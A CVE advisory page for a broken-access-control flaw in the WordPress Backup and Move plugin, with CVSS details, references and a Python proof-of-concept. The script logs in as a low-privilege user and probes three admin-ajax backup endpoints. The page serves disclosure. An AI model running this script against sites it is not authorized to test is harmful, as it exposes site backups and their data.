CVE-2025-53246

Description

Missing Authorization vulnerability in Gaurav Aggarwal Backup and Move backup-and-move allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Backup and Move: from n/a through <= 0.1.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Backup and Move插件 <= 0.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-53246 PoC - WordPress Backup and Move Plugin Authorization Bypass
# Target: WordPress site with vulnerable Backup and Move plugin <= 0.1

target_url = "http://target-wordpress-site.com"

# Authentication (any low-privilege user account works)
username = "attacker"
password = "password123"

# Login to WordPress
session = requests.Session()
login_url = f"{target_url}/wp-login.php"
login_data = {
    "log": username,
    "pwd": password,
    "wp-submit": "Log In"
}
session.post(login_url, data=login_data)

# Exploit: Access backup functionality without proper authorization
# The plugin's backup endpoint does not verify user capabilities
backup_endpoints = [
    f"{target_url}/wp-admin/admin-ajax.php?action=backup_move_download",
    f"{target_url}/wp-admin/admin-ajax.php?action=backup_move_create",
    f"{target_url}/wp-admin/admin-ajax.php?action=backup_move_export"
]

print("[*] Testing CVE-2025-53246 - Authorization Bypass in Backup and Move Plugin")
for endpoint in backup_endpoints:
    try:
        response = session.get(endpoint, timeout=10)
        if response.status_code == 200 and len(response.content) > 0:
            print(f"[+] VULNERABLE: {endpoint} - Unauthorized access successful")
            print(f"    Response size: {len(response.content)} bytes")
    except requests.RequestException as e:
        print(f"[-] Error testing {endpoint}: {e}")

print("[*] PoC execution completed")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-53246
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-53246
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-53246/
[4] VulDB https://vuldb.com/cve/CVE-2025-53246
[5] https://patchstack.com/database/Wordpress/Plugin/backup-and-move/vulnerability/wordpress-backup-and-move-plugin-0-1-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

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